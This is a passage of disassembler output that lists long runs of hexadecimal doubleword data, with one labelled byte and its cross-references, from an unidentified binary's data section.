6D000DFBh, 0F658BF37h dd 0A826358Bh, 1E767B4h, 6D104740h, 30AF53B5h, 2606A7D3h dd 151F08D8h, 59C31961h, 0E1F1B18Ch, 0E172315Ch, 0B3205168h dd 9675D853h, 0E12D9223h, 1D8296D6h, 8EF53E0h, 2CBD98CDh dd 859802F8h, 619CC030h, 20C1577Eh, 1497FE84h, 15B11128h dd 2524A03Ch, 0CDAD8E40h, 4D043980h, 0E709AADAh, 81320BFBh dd 1E47A294h, 0FB982F0h, 2D6661C0h, 0B71B2E80h, 4253C3E3h dd 0BD4F3A20h, 8C1208DCh, 1377F998h, 2092FC0Ch, 0F610460Dh dd 674D08CFh, 830FD240h, 0C508916Dh, 0BA610DD1h, 14E116B6h dd 31EC204Dh, 74CC2341h, 903CBEE4h, 0FF84A01h, 468B655Fh dd 23703E1Ah, 0D0E58010h dd 8D0594D2h, 0F33FC0C2h, 703C1E8Bh, 7C742EFh, 5EF0E21Fh dd 681140B6h, 0B0D40E12h, 812E8902h, 2B3E5FA4h, 40F1D8h dd 0FCA0CF15h, 6047136Fh, 10CA84CFh, 6F18E120h, 14605F5Dh dd 3CC0A21Eh, 0DC6224F3h, 3AF26A40h, 9E09027h, 7392A6F5h dd 91234C87h, 0CCBA7DC1h, 0A7B877ABh, 8906890h, 4452C324h dd 0EA8A1001h, 543550F4h, 10602018h, 0A8DE1D8Dh, 0EB81877Ch dd 0ACE811D9h, 0E098211Fh, 0A348EC26h, 1FB5AB46h, 15B4A695h dd 11E440E0h, 328120DDh, 0D05CB497h, 888F0CF9h, 627064A8h dd 8EEF2BDCh, 632ACE60h, 0CA8E5220h, 6CAD0205h, 40A5B020h dd 0D2F29A81h, 2A1FACE7h, 7C08805Ch, 314E39D1h, 33660CBEh dd 53B70EA8h, 0CD69E409h, 0E8C2262Ah, 7740025Bh, 2D1D56CCh dd 0D3BE423Eh, 2BC92801h, 840A6C3Dh, 0EA289C6Ah, 265531Dh dd 68023F56h, 1E0F3994h, 209FB62Bh, 2353B203h, 0C55ED2C5h dd 97864288h, 8A1C6094h, 2C91CBFFh, 0E1672F2h, 0D0045383h dd 0F020F5AAh, 68B1982Eh, 1543913Dh, 2138B81Dh, 42957547h dd 68CA3184h, 29275BC4h, 68374081h, 1F995E95h, 0E0282B10h dd 2310D399h, 3FE498A8h, 0AF158B3Ch, 0E24063D7h, 10041E23h dd 97D5CED2h, 8F872F7Ch, 7C8A6244h, 0F13F160h, 114A7E05h dd 274078C0h, 307E1E88h, 0AB287A2Ah, 1358F8B6h, 0CDE9C12Ch dd 84DDCE94h, 0A84A820Ah, 814CC516h, 0B0775EF7h, 8E101F5Fh dd 5EF282A8h, 3F18028Ch, 43E4865h, 0ADECB2E0h, 8899D87Ch dd 0A8965E60h, 0C91B1183h, 16A4F20Ch, 0FF0E40C0h, 8FABD9F2h dd 8848A091h, 2765ECA1h, 919D00E8h, 5D73845Eh, 49390090h dd 77E14BF2h, 4F0F0CDFh, 3672C71h, 0C01624C6h, 0D86C34h dd 25F24C61h, 0DDDBD76Dh, 2070EF2Bh, 1C227262h, 0C0C7D308h dd 0A2154BEh, 4845C325h, 7C71B4F7h, 831F42BEh, 91D66D29h dd 80509FB4h, 839380h, 70C2280Fh, 0BDBB96D0h, 0FF982A78h dd 7E0FD978h, 0A0A89BFDh, 6AB4ED83h, 4B0055Ah, 3C53EEBBh dd 0B6420120h, 95B4CF81h, 0A55CD32h, 38B7B984h, 743410D5h dd 4205A80Bh, 0B4D780B1h, 4260568Fh, 165DA2F5h, 2B4E902h dd 15593F9Fh, 0C060B115h, 0DAC2B4ECh, 0BC9F23E3h, 0C47C0BE3h dd 85B4E570h, 0FBD55110h, 40AEF5A8h, 0CF8E40DFh, 0A9A8701Eh dd 6081B843h, 0A0E050Ah, 0DD588D88h, 99340897h, 4254CE0Ah dd 440D4A1h, 54011CA7h, 609D292Ah, 0A1FA4860h, 0CABC4795h dd 0C978A0F1h, 1D8F21E3h, 0A7B63550h, 0CFC80280h, 141538C0h dd 91F7A0A5h, 0ACD2251h, 5840598Ah, 98212594h, 50FD515Fh dd 0C683E280h, 0AC6B0F07h, 7D20B4BCh, 6E10CBEh, 93E6A7AFh dd 0FCF03810h, 959A3718h, 44AA4451h, 34F84BD9h, 0CACAF1Eh dd 6C41E51Eh, 0E4AADBAh, 0C38ED0h, 383946Dh, 0D7CAC728h dd 0C2A04B88h, 324E44B8h, 68A32093h, 407338BCh, 0ED3D87E1h dd 0E071C0FBh, 59CB616Dh, 0B865C3ECh, 75207E31h, 97051FD0h dd 52002045h, 1BDB291h, 0C3A44ECEh, 0AC0A3D78h, 89E0EF82h dd 38C59627h, 88006B26h, 79B8B4BBh, 6E1C075Ah, 31E0F09Dh dd 7037CAE5h, 97005092h, 3021F71h, 15EFBDFh, 0BB7B8F35h dd 40522780h, 6A34BC88h, 0C0507963h, 3A5900FBh, 0B9E72670h dd 3F0FF7A9h, 8F3ECB68h, 0CFC814A7h, 71BD0099h, 0C19C40EDh dd 0EB270220h, 0E5688055h, 2E45502Ah, 0BCAF0058h, 0E8B226A6h dd 16006E08h, 5E430E71h, 306BDB7Eh, 0B07893FDh, 193050C7h dd 65878039h, 29F0A81Fh, 64BB0053h, 5FBCCF7Eh, 8800D35Bh dd 61CC2584h, 0C5573AFh, 0F2277F46h, 0F000BC48h, 9F6DB77Bh dd 7A23A9D5h, 523F7C0Ah, 8705A416h, 1696F8Dh, 53F7D3C0h dd 6B189C63h, 0AD00C02Ah, 0C3AB919Ah, 3E3717A9h, 0F600BCAEh dd 438B3A2Ah, 7C0C0EC7h, 318F1A66h, 3D5906BCh, 113B6184h dd 0DE3418C0h, 0CE5062F5h, 0A60D6A28h, 58144131h, 0C45C24CDh dd 8EBA0C4h, 1364CF01h, 5DCA006Bh, 0BDC930E8h, 0DC0EC838h dd 8F345B0Ch, 0EAC690Fh, 53DED86h, 608805B2h, 96408066h dd 72520BA7h, 142CE8A8h, 0F8A99C0Fh, 652A8009h, 0D7DD2420h dd 0F9C25B98h, 0A0BE7B97h, 87FC1280h, 9BC8CC4Bh, 0AB00DDF9h dd 0A40373B2h, 10ED40Fh, 25D544F4h, 409749D8h, 13D1380h dd 0D3E11763h, 21CDD1B3h, 0C09E1820h, 76AE3D49h, 186446C5h dd 4F439A18h, 812DBC93h, 0DF6860CEh, 0A05461C9h, 859F7B22h dd 5F252B20h, 595B5040h, 0E63CC8Fh, 797F28F4h, 0B0581C5h dd 44005F10h, 9101BCAAh, 2AC83E54h, 0D731E700h, 0F5DC0DAh dd 48A49270h, 0DDC10CC8h, 0A403807Ch, 897000E1h, 81DD0EC0h dd 405FCA26h, 0CF8F1BA3h, 7BECA9C8h, 3F7D9520h, 7CD4EEh dd 80894481h, 0D9E229Ah, 0DAED68C7h, 0F870C000h, 577440DBh dd 2897A90Ah, 0E94088A2h, 1B594FAAh, 804DA6F4h, 0AFB07BE8h dd 0ECD520C1h, 242206CAh, 480E7518h, 7E0C0328h, 0E17DCE5Eh dd 64462467h, 18E79310h, 0F4D44090h, 0F43EAD26h, 815ABD01h dd 0B42552F5h, 0ECF892C9h, 0A97830FFh, 509E5E0h, 3CF2712h dd 0C85F6800h, 484329B2h, 4D03AC6Ch, 0DEA88D4Ch, 5DBC4FD0h dd 60A43C30h, 7C6F93BBh, 2845099Dh, 9C20195Fh, 432A7F69h dd 0D5084C92h, 286EB986h, 0C4F5458h, 3EFA2245h, 0ED106B43h dd 8077889Dh, 0F1E937E3h, 0B000BD8Bh, 1608258h, 0C5027727h dd 430C17B8h, 7C04D48Ch, 0BD82FFD8h, 640F3804h, 0BC829453h dd 84F061BEh, 275CA050h, 84BF515Bh, 0CA7B1890h, 18BE80FBh dd 22197CCFh, 0B0F4A03Bh, 6B1D0940h, 5881D6C4h, 1156FDh dd 50415F23h, 98BC8462h, 0E35144F4h, 15F6CF0Ch, 42FF48B7h dd 31ADC6Eh, 48A80119h, 2711D9B2h, 10CE0865h, 43A318EEh dd 0E38F2E30h, 0B7206106h, 0A0787449h, 42704B80h, 0A8A61094h dd 8CA9B189h, 82EC6A87h, 0A88009B7h, 0F9FC58D9h, 0EE4421EFh dd 3FFD9840h, 68C935Dh, 1FDECEB1h, 0A42E3C88h, 8ED0CF8Ah dd 0D84818DCh, 0C0C0AD25h, 287186CDh, 8C795017h, 0C178C493h dd 0F5B26763h, 37D101Ah, 94CDE98Ch, 1846F208h, 0C8AE8010h dd 0C7E7E115h, 0A61108D6h, 76F2178h, 0D33C6D94h, 293C8F11h dd 0E89478D6h, 40C1883Ch, 0F15F297Fh, 0BC5034BAh, 0FB457818h dd 8239F001h, 0AC31218Ah, 74A938ECh, 0B340530h, 251804AFh dd 0C7B32058h, 0A34030D7h, 0B4B8AD50h, 0E9FD530Ah, 0A3436005h dd 4222ACA8h, 0F6283099h, 0B89560A2h, 0D2439CB1h, 64A5D898h dd 426F778Ch, 4A11135h, 22933CC4h, 8C3C982Ah, 233B4268h dd 6B8388ADh, 3B04DCA6h, 0A4211A67h, 2821073Ah, 1C48B279h dd 580F543Bh, 84F469Dh, 451A68DBh, 6BF4715Dh, 46520C5Eh dd 0F3FC1018h, 9CAEB5C4h, 3CA85F30h, 888B62F1h, 338BDE33h dd 0CCC03408h, 81133110h, 48381DC9h, 0ACA65403h, 4093922h dd 9B66915Dh, 2E494FEh, 1BA74718h, 0D8277511h, 6C625B15h dd 8AC49A2Bh, 896CA5BCh, 603EB611h, 30627C42h, 523EB3BDh dd 55213030h, 2B568422h, 655111D8h, 3258FF85h, 6C98AD84h dd 238657CBh, 8C1D7582h, 0B1058A21h, 58F3423Ch, 1F1C6119h dd 9DA84CE9h, 94233A8Eh, 3C1229C2h, 698E9C88h, 3C22E862h dd 75190EEFh, 515AED1Dh, 1205C978h, 11FC8364h, 5443C403h dd 0D0C4DE32h, 889F0CD4h, 7D1F60C4h, 104FB531h, 6ADE2D04h dd 0B4411A1h, 0D81A2980h, 0C1102843h, 0A9C98568h, 5C3BCC38h dd 4D5D30A9h, 0A46CD260h dd 8067923h, 76654397h, 90049C77h, 144E5932h, 0D6A9C710h dd 6364AD84h, 579DE8Bh, 28ACA908h, 0C084D04Fh, 74B10120h dd 0F4A8AC39h, 876ACF88h, 0E5EF2AF6h, 7F20C053h, 57F8BD9Bh dd 73B3FC17h, 0B604CC27h, 0DE64CE02h, 24659B25h, 0BD57A780h dd 9A0B2817h, 40E17824h, 64428ACh, 0A01DF856h, 0A14D7B0Ch dd 4B13F858h, 2E285958h, 0A784006Eh, 0FE48B761h, 44C82378h dd 30B902A4h, 0D9AE8104h, 59F1FD06h, 5490AC80h, 0C00F950Eh dd 829414CCh, 163B4CE5h, 55AFCD19h, 9450FBE0h, 6060F087h dd 65BC5034h, 27317E4Ch, 6F171167h, 0A0878450h, 4FD87B2Bh dd 0EC1C0280h, 0B081509Bh, 98B2AE3Eh, 0E5C976E0h, 0A3A800E4h dd 22C6876Eh, 6C606809h, 0BF645688h, 0BACCA85Ch, 0F1AF4154h dd 4C16E19Ah, 0D1C29CFCh, 0A047DFECh, 303D59FCh, 203E4E96h dd 0D802CD0Ch, 1401F14Fh, 5C0904D5h, 38BDCC40h, 9C2E756Bh dd 0E9774214h, 0E7DDAC10h, 87144838h, 30968EDh, 0F42C91D8h dd 0AF223650h, 0D784A095h, 1829D35Dh, 0F54979B0h, 5401E201h dd 7F718FCCh, 58091088h, 70B00449h, 2ECFF4B4h, 90CD050h dd 4843237Eh, 843561E7h, 0C9029CBh, 0E9C5915Eh, 9D631E34h dd 2E8E9C1h, 422922E2h, 475130A4h, 8468DFE5h, 0B0951A22h dd 0B1D1F0D4h, 2FD1C3E0h, 0FCD09863h, 464A0A1Fh, 848BDE3h dd 8240B87Fh, 5926CA13h, 0F706582Fh, 680C18CFh, 0C00E4A2h dd 72F691A9h, 51AC2818h, 18EA19A0h, 20A1F327h, 0EB55469Ch dd 0F588E018h, 0B4A9F92Ah, 0C0870A00h, 0F6A75570h, 0A8746906h dd 0E1797801h, 2A8000D7h, 0CF78A031h, 0C9A4864h, 0D826CC1Ch dd 7AD558A2h, 66087F15h, 82B02514h, 8D29B464h, 4246C814h dd 0E9222418h, 81ED8318h, 0C04F8479h, 0D34CA400h, 0C178DFFCh dd 8D7B9B90h, 7CB43895h, 52D4AB59h, 184A2DFCh, 0B44B3A80h dd 0E6BDC07Ch, 0C4B47C2Fh, 11769389h, 5982BF2Ch, 6FDEB091h dd 710C9058h, 0E886600Dh, 0C6BC1658h, 0D5BC8015h, 9130C8FCh dd 695F58A0h, 918E63F5h, 726A6071h, 0B157450h, 0DB391AA8h dd 6AC7A10h, 0A992596Fh, 7D3BC1BDh, 287E00D1h, 0A850D2DAh dd 7F55307Bh, 649AF549h, 7595B1C0h, 49A0CFC7h, 0E02DE069h dd 429D810h, 6C44749Ah, 0C6A6048Fh, 0C3C51846h, 191A7838h dd 82415259h, 0D19D4F78h, 352384FCh, 0FA18C062h, 0A355B228h dd 5F004148h, 0EC68D69Dh, 2A8804CEh, 26B216E7h, 0F330761h dd 0A730CA79h, 0AE99030h, 9A4B201Dh, 670208A8h, 0B8D719EEh dd 0AABC8082h, 9AA42897h, 0AF231640h, 84508ABDh, 3D2345D3h dd 2A7ED1D0h, 0DD699460h, 59237C15h, 0E7810E8h, 0BAAC3C62h dd 0B008895h, 0DFC784FFh, 59C08621h, 2EE8C594h, 70224EBCh dd 0D9B27360h, 0E334208Ah, 91C75637h, 951902E8h, 38467181h dd 0A4C8A73Bh, 52127634h, 44450870h, 2D0C98BAh, 421DD82h dd 0D60FC53Fh, 0E9A2CC87h, 55135801h, 82ED0335h, 705700F1h dd 0CC40BFF0h, 0F4A85513h, 89CBB09Dh, 68E80F02h, 0F9C55817h dd 0A04B61h, 1E20A4CDh, 12038187h, 0E9D8C031h, 0B803D077h dd 7BAC39A5h, 340B6B4h, 99F52A9Dh, 184E3A48h, 0A086B040h dd 98525629h, 0B0933744h, 0A98579h, 5F1D7110h, 0D42851C0h dd 0BF44D861h, 0ACA650E0h, 1EDC9A1Dh, 157FF3D3h, 0E01EE0DFh dd 0C3C0DF1h, 80A2E071h, 18260828h, 0FC20FA64h, 5604AF22h dd 60219C23h, 0A9A1E2Dh, 218243Ch, 0DE087ECFh, 0C8C72222h dd 725CA9A4h, 0E9CE2438h, 0DA478274h, 74C83633h, 0B0B8C03Dh dd 0D4312160h, 0E173ECh, 9DD9301Dh, 0E756030Fh, 8F2DFC0Eh dd 5FDE1BDh, 0E3CDB5FAh, 0DCD4EBD1h, 0EF2400B2h, 0C7F0B34Dh dd 30E85E1h, 435B5788h, 0C08460DAh, 2EE4C5AFh, 209A2497h dd 0E5D774D6h, 816F2880h, 0B44DEDECh, 5A7FD07h, 5DC787A5h dd 26669AE1h, 7136E0E7h, 0D7EE0004h, 1DAFF373h, 0FE0003B3h dd 47A7A28Ch, 7852CB8h, 0B7C574BEh, 50B61705h, 1E2262AFh dd 0E9A3000h, 0B8FC213Dh, 32BF0F03h, 0D7801CC3h, 0D276A3A2h dd 0EE062C7Ch, 0AE60B3B4h, 932F44B1h, 0FE086B60h, 0E1B9A28Eh dd 3C342CCCh, 0C214D6E0h, 591920B7h, 870EA076h, 4232E31h dd 16510540h, 1AC902D2h, 5AD8DEF8h, 22A024AEh, 0D93A4430h dd 0B4A0637Dh, 1E1868B6h, 0FA8DAD3h, 48F060BEh, 0EB2A325Bh dd 4B935218h, 0B9CCF8h, 0D8F6C2B1h, 0CA561822h, 319D501h dd 2E6842Dh, 0A6B389Fh, 3EC8596Ah, 9922F118h, 323AAF19h dd 379C3A06h, 0EFC0B952h, 0A171D244h, 31BC7E08h, 74C65C01h dd 0F0301B84h, 0B400D0F0h, 2C3A6A57h, 0A3E914F2h, 1101C3C0h dd 1E034010h, 301B2DF4h, 284EC351h, 66181320h, 116D20F0h dd 0B4F81900h, 618390AFh, 9B391496h, 0D410F07Eh, 0F70F00FCh dd 1DABFF1h, 48E315AFh, 0B930D828h, 0EA085638h, 0D230E674h dd 302F1905h, 84FB1ECEh, 339384BFh, 756C80B4h, 18C6E17Ch dd 49881257h, 0A81278EAh, 8328418Eh, 41D46318h, 86B736F0h dd 4199320h, 321F0128h, 0C2F27C71h, 709BCCCAh, 8EB96060h dd 0A8EEA274h, 782DDFA0h, 59F76F75h, 5610930Ch, 8099FA44h dd 6189FC07h, 12FD5301h, 21D9065Ch, 9A69E200h, 0D7F47337h dd 2A62E410h, 1ED82C57h, 0C1858BC8h, 0E3087047h, 5060F943h dd 0A2D88888h, 24902DFAh, 0FB1E0F09h, 0D93800D1h, 0E4C05789h dd 0FCCD3DE3h, 7CF39B04h, 8708970Dh, 0CFB082A5h, 81B9A0A4h dd 0C40C9802h, 383A90B1h, 17810053h, 52396923h, 0D2E61D51h dd 62270459h, 0DD5080B8h, 0CD013808h, 49233181h, 6095C364h dd 903C64F5h, 4C075B40h, 8244A02Ch, 19438690h, 0FE0188F6h dd 263A6212h, 8A7E0047h, 0A3E3EBC3h, 78417C95h, 178A72Eh dd 0FC81E9F1h, 82B4F3BFh, 0B8489F00h, 84F4516Bh, 0B7086750h dd 0F57EAC90h, 72541092h, 0AF709ACCh, 3034BC0Ah, 8C809404h dd 7FC0F389h, 60ED4836h, 91DA6318h, 0B018E3D6h, 8311DD8Dh dd 0CBEF893h, 0B3027BF9h, 0F390FB71h, 0F4118E13h, 8387AC42h dd 0A681007Eh, 18C1F05Dh, 4DB2F2B9h, 42D879A3h, 0B800D5F7h dd 0F454F406h, 7E920ED9h, 34C09585h, 5D2F1923h, 457F100h dd 0C4A338B1h, 728E0AFCh, 1390D979h, 0FE190B9Bh, 61631406h dd 4E28412h, 96A24407h, 1410F1F6h, 38BE5D93h, 8C53EA00h dd 0F1F52FA1h, 59048E15h, 3337011Ch, 9BB172F2h, 0E9B61930h dd 860FA84Ch, 0E3714CA0h, 9E8C8D56h, 8DE9F001h, 0E848B828h dd 2E218EFFh, 98D08904h, 0C25094AAh, 444446B9h, 60907FECh dd 0F8A9B17Fh, 0CA5420E2h, 20870135h, 0CD0B3441h, 8053F078h dd 3014E4DDh, 0FD407B3h, 74DF46FBh, 0D6B90CB8h, 0E3D02F9Ah dd 34D84E00h, 562E3BB0h, 0ABAE28A8h, 9B081C8h, 66119C26h dd 8B13EF7Ah, 0EE80406Bh, 1DDC9185h, 0B8FC0326h, 4894E460h dd 70BD3486h, 0E3BC20FCh, 8B224198h, 3D360144h, 71B8DDFCh dd 0A8A0E25Ah, 0AE0F9EECh, 4CE3BE26h, 546B528Fh, 565709A4h dd 4744111Bh, 0CF08F2DCh, 0E6634978h, 8978F570h, 8413FC78h dd 7C20E715h, 0ED2F99h, 0CE058DF1h, 5821192Dh, 0EAAF2E18h dd 78045BD0h, 56E42E3Ah, 0AC664E04h, 1307B141h, 3471F710h dd 2A308160h, 6C560094h, 788065FAh, 59008645h, 2FC4A27Ch dd 39E1E27Bh, 0DF96D890h, 420808C1h, 2A0AF944h, 74BC0808h dd 4420F4C6h, 0D702E512h, 0B2F5CC04h, 7784E8D5h, 647B5814h dd 4058C52Ch, 0C20B6F09h dd 0E641D202h, 0A0A05644h, 0A8DD6388h db 0D9h byte_530055 db 0C0h, 51h, 0A6h ; DATA XREF: ___:off_437DC4o ; ___:off_437DDCo dd 398D4BF3h, 1F839C6h, 0A94C9829h, 28629EBCh, 3962B13Fh dd 8CA035F8h, 0F78EF11h, 17C08249h, 0A0082AAFh, 5EB38230h dd 6C40E8D8h, 0F0FAE79h, 3C8522Bh, 931ADCE4h, 2C7D838h dd 0E62D4891h, 443F9600h, 0B442A57Ah, 62384C0Ch, 207B10FEh dd 0DBF953ADh, 731163C2h, 8C0B2090h, 60F31014h, 650440C6h dd 4018EA4Ah, 8871B41Ah, 9C80C6E7h, 0C4401139h, 0D9DE8829h dd 7BC9DA06h, 49D1A2h, 44A07C0h, 286CF03Eh, 18C89A30h dd 0F1E1AFAEh, 0A10138BCh, 53EDDD6Ah, 0A561EE24h, 387EE811h dd 0E5D8A00h, 7C07BF69h, 0AB9A189Eh, 0CF902827h, 0D3C3CA00h dd 0A0DEA2A4h, 1BEA017Eh, 7305203Ch, 27AEF0E1h, 40CA152h dd 5D14761Eh, 0AD687C0h, 0C09B0975h, 601C604h, 94D215EBh dd 0C400B0Eh, 0A823A2ADh, 43593ACFh, 1C0AB09Eh, 0C12118B6h dd 3C0F9A8Dh, 1D24552Eh, 47B14140h, 7420384Bh, 0F95A18C8h dd 39CF70F4h, 7C1D0CE0h, 2E9424C7h, 0ACC61C88h, 0B8860D8Eh dd 775438C8h, 40E8CB1Fh, 6268690Ch, 4C843963h, 7407C1Eh dd 0D455A67Ah, 71E3300Ah, 15F80BEFh, 0F728D0Fh, 0B97680AFh dd 3B15DCAh, 0E1A43BF3h, 0A8244EBFh, 971208C8h, 607E1843h dd 0DE64F93Bh, 7CAAE043h, 0E2BC0060h, 0C92D2EDDh, 82307515h dd 0D355580Eh, 182F6050h, 0FFA8E827h, 5DB47C1Fh, 0E1924600h dd 0A054B8FEh, 0E3B14E8h, 0B17EEC2Fh, 269A8F00h, 80079F2h dd 8304F9C6h, 35BE7E9h, 0B8092542h, 0F0304FFDh, 7923484Bh dd 0AA0C8052h, 0F28A2A40h, 187F6CEEh, 0C91F85D9h, 0E302825Fh dd 0A409915Dh, 70201484h, 341299D1h, 0D10E3BEFh, 8020EE9Ah dd 1BE7CE6Ch, 88F8C8EDh, 10149362h, 21840FA3h, 36C41BCCh dd 55524702h, 0BCB2A21h, 0EDA75A00h, 70908F21h, 1B096B8Ch dd 0D94AA4h, 60CD3908h, 0E55909CEh, 4000D5FDh, 176971ABh dd 0B10BD405h, 0E400DBF5h, 88481B49h, 7D80A011h, 0BB1D2443h dd 0B78B003Ch, 0A8E39A10h, 5C90D67Dh, 0F6D43405h, 2038B0BFh dd 574666h, 4F178652h, 78BEAA5Dh, 6F1C2889h, 142D0CC4h dd 0C7B0F325h, 0A40AAC1Eh, 188090E4h, 9DB63703h, 879C002Fh dd 86515A96h, 20C3AFFBh, 0D8BC177Fh, 188B1EAAh, 48DF42FDh dd 0C84D067Dh, 7C191010h, 3AFC5F02h, 8C8CA227h, 38A5C661h dd 18AE1262h, 0A60A88D7h, 88D0B44Bh, 9A9DB301h, 68927BA3h dd 0D9DC04A7h, 483F07B8h, 5484A319h, 7ACF9139h, 4B2E2881h dd 349B8668h, 0BA00676Ch, 0BF1E17EBh, 0C6351A04h, 2053FE09h dd 0EBBC0700h, 0F9E81C79h, 0C13C2614h, 4E6D8400h, 10014C3h dd 0F14350B3h, 6C849ECh, 0B87505h, 2E4A5F97h, 7EE8062h dd 330139EAh, 0CA41E2B4h, 0F2DC7649h, 101F0040h, 0AC7DF992h dd 7100957Bh, 0C591E689h, 702693h, 7CC1DAD2h, 87E4FA41h dd 0BB1C5F00h, 54C2901Fh, 4CF900EBh, 0F3B5E0F1h, 7E005371h dd 9D924769h, 1FDA4403h, 40FD86DCh, 0B42177C7h, 0AE0F9928h dd 572EF2h, 9344462Ah, 0DA031430h, 64009FD9h, 1B7A1E80h dd 0AC007667h, 26F3F7FDh, 590EDEh, 0D75D44C8h, 0A682C281h dd 0C56E00Eh, 807D896Bh, 70366999h, 25C90067h, 0A87E9FF1h dd 0B4001F5Ah, 0AC3872ADh, 1C5B73A0h, 73A81FBh, 0A0FE71A5h dd 0D085F8A2h, 0CECCDC00h, 28F05B77h, 313424D4h, 0E96C00E1h dd 4A8273ECh, 813768CFh, 26D8CF85h, 669ABBF0h, 504F1859h dd 40CDD400h, 1BB41915h, 8A5100B5h, 0C0C43CDCh, 0FE00A4B7h dd 92ED424Bh, 43665Dh, 1FABAF44h, 0C68D7C20h, 841EEA00h dd 0C4CDBA81h, 0F66C00E3h, 659CB953h, 95036917h, 0A983DB06h dd 0FF32A08Ch, 9F1C00C0h, 48FE921Bh, 333A1ED5h, 0AA4E0094h dd 0EBB09706h, 0AFCC2F53h, 0F5A1C400h, 0E501694Ch, 0DF179B27h dd 0F4D4AD1Eh, 9CD7001Ch, 6247EA41h, 430004BBh, 0F1568AF9h dd 0F7CB31h, 49FC25CEh, 9CCC2F03h, 35C1B900h, 0F1B6612h dd 8B240088h, 3450F54Eh, 8D007B0Ch, 0AB1965BFh, 0E0D92Dh dd 49F477E5h, 9FA5A3D7h, 2BF1100h, 9B344ED3h, 0C617006Ch dd 97E6333Eh, 0F300DBF8h, 0F2DF8D08h, 4ABCD4h, 25AF7C3Dh dd 501B862Eh, 0FF6D6200h, 0FB9B4C23h, 0BDDB0075h, 963FF5EFh dd 0B40039C8h, 508B3D2h, 6F4548h, 80D4A016h, 7981955h dd 954FF807h, 65338675h, 0FCD6C0B4h, 0A47200E2h, 0DA234A5Bh dd 53204C06h, 909EFC50h, 723C0753h, 152B125Ch, 0A6A400D1h dd 0CD6932C2h, 74843B0Ch, 1F02909Ah, 0F1937Ah, 0F22E5503h dd 0AE00FACEh, 65DBD94Eh, 245344E6h, 0B3927Bh, 0E97DB4DCh dd 67186145h, 0D010D9AEh, 89F41E64h, 0BFF140AFh, 3DB84E38h dd 933B810Bh, 0EA590078h, 0B8D2F553h, 465A27Eh, 0C920A530h dd 8D00F082h, 66D5F3A0h, 7E225ADh, 0AA30F571h, 0C8E3F059h dd 0AB005593h, 2310628Ah, 1F7CD06Dh, 3848D99h, 78614901h dd 0E4E311D1h, 0BD008A33h, 0CDBB6870h, 7A1FDh, 0DC9EE6D8h dd 166C796Dh, 0A924DA00h, 8DD19F1Bh, 88360F0Ah, 0C0A02571h dd 0D50C79D9h, 84CE58h, 0E548C783h, 0F48ECAh, 0A4CB7CCFh dd 0E7C1BD3Ah, 2C31C003h, 0B0AB7842h, 4E58DBh, 87FFE0Dh dd 402636A2h, 98AE3500h, 0ED6C2B7Eh, 18DB1453h, 0DE00889Bh dd 3D7F3AE9h, 0B97BE0F7h, 0A086D901h, 470FDB6Ah, 3A11C0h dd 9CA2FB69h, 1C89AFE3h, 0F4022D07h, 0C14EE556h, 78881799h dd 1506EC50h, 0A0F0E1h, 7784328Fh, 0D9F80BABh, 0AF00B7FAh dd 0DD6B174Ch, 0D8F312h, 3D55853Eh, 9F017521h, 23326013h dd 7DCCD10h, 6C19BE8Ah, 1BF353h, 9B9827B0h, 32525BBAh dd 64B3181Eh, 937DC8C0h, 3AC228BFh, 0B7020801h, 0A9AEE5E4h dd 8076F6E0h, 3C2A7903h, 0F92191C3h, 8330368Bh, 70D501B9h dd 0C999EE96h, 6CC48085h, 5624C872h, 0A147007Bh, 9374E28Fh dd 8E005D2Ah, 824066AFh, 79CD801Ah, 249039h, 0BFEAD4B9h dd 40595E41h, 0CF0A1498h, 0E809936Dh, 0A8BD893Fh, 8A1C2039h dd 497987A3h, 0DE0018CFh, 0B320600Ch, 2800CD2Ch, 939F6E92h dd 28E4513h, 0DF87912Fh, 0A840F1C8h, 894933ABh, 71AE0024h dd 9D120885h, 0F5F000EDh, 70F634A1h, 9000B1D4h, 2F9631ABh dd 0F32E6Ah, 41E4160Bh, 14B368B5h, 0F1660E26h, 20D6810Fh dd 856326Bh, 0CEFA6Fh, 278CC2E6h, 607155C4h, 4BD8011Ch dd 6F310E00h, 0CE78Ah, 4846951Dh, 0E403A774h, 910014ECh dd 0A61AEBE5h, 0C14EEFh, 0FBC97AF3h, 6209929Ah, 53DE3102h dd 810A6D88h, 0D851F7EBh, 92CF5C0h, 718BEA90h, 0F64CF280h dd 0E4030794h, 0CA82789Fh, 2A0FB0C7h, 330D0039h, 27EE8852h dd 0FF0049C6h, 57CADE66h, 3294DAh, 0FB62B6B0h, 820CCEC8h dd 1FB8D800h, 0FD87F371h, 3CE3005Eh, 22880933h, 2900AA44h dd 0B566CAECh, 0A50DEEh, 0AFE276D1h, 910F907Ch, 72010800h dd 0EF9A3343h, 0A2E43AF2h, 94693E00h, 1844E795h, 3C155400h dd 0DAAC80F6h, 0FDED03E3h, 0A08570C8h, 0C083C6C1h, 0B31E080Ah dd 0B0C00FB2h, 9DDB5405h, 31DA3C8Ah, 0DD53D902h, 0CAE04C17h dd 24005736h, 0A848BD4Fh, 0E770778h, 0F77E5254h, 20162DC0h dd 2A7DE2DEh, 0FA1F0A00h, 0F1557F5Ah, 0E79E17D5h, 76780094h dd 88265150h, 0E96CD00h, 0F6D173EBh, 0DC6E00CBh, 0F8566CBDh dd 14006102h, 6ACD4F9Ah, 2625BF3h, 7E7C9B69h, 80809625h dd 0FA48E6CCh, 811F4E3Dh, 0E70BCE82h, 11E0FB5Ch, 3028FAD7h dd 6CA0C444h, 33673BF2h dd 9E10E310h, 3F5213BEh, 2D8EB5D8h, 84E0C3FDh, 0EB9DFED1h dd 238DF30Ch, 0B0688Fh, 0EC8E9CF9h, 1D6ABA66h, 0FB67591Dh dd 5020B240h, 0B7E5A7h, 7B816FFDh, 0EADD9C61h, 3B56BC00h dd 75188964h, 11123A23h, 6EFC4500h, 9EFF1EA8h, 8028C200h dd 8417590Fh, 0DFFA08h, 79989CD1h, 0F59A36BEh, 9D8E2F3Eh dd 0F66DEDD9h, 8C8B00A0h, 0F6FC6CDh, 61924E00h, 0B84893Ch dd 33DA0048h, 28E8A3D1h, 0F50FC550h, 0E04E8D87h, 2C6FFEB4h dd 78543CC8h, 0D5E14202h, 4FE0E080h, 943E21C7h, 6EDD0070h dd 0B3657CB4h, 0DFDA03D0h, 22326D4Bh, 0D7D626E8h, 46C3FB00h dd 0DBE0FA9Eh, 7229008Eh, 0A876901Fh, 24004A2Eh, 4362AB5Dh dd 0BA1B6Eh, 8208518Bh, 2DCBE9FAh, 0BB005EE2h, 9B145A02h dd 79A522h, 2B6B5D26h, 0AF138CF1h, 0CC51D101h, 